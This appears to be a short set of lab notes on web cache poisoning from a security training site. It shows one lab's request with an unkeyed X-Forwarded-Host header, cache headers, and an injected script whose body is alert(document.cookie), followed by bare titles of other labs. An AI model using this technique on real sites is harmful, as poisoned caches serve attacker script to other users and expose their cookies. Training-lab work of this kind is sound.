Web cache poisoning
https://portswigger.net/web-security/web-cache-poisoning
Lab: Web cache poisoning with an unkeyed header
GET /?cb=123 HTTP/1.1
...
X-Forwarded-Host: test
In response:
Cache-Control: max-age=30
Age: 0
X-Cache: miss
<script type="text/javascript" src="//test/resources/js/tracking.js">Cache-Control: max-age=30
Age: 15
X-Cache: hitFile:
/resources/js/tracking.js
Body:
alert(document.cookie)Lab: Web cache poisoning with an unkeyed cookie
Lab: Web cache poisoning with multiple headers
Lab: Targeted web cache poisoning using an unknown header
Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
Lab: Combining web cache poisoning vulnerabilities
Lab: Web cache poisoning via an unkeyed query string
Lab: Web cache poisoning via an unkeyed query parameter
Lab: Parameter cloaking
Lab: Web cache poisoning via a fat GET request
Lab: URL normalization
Lab: Cache key injection
Lab: Internal cache poisoning
Last updated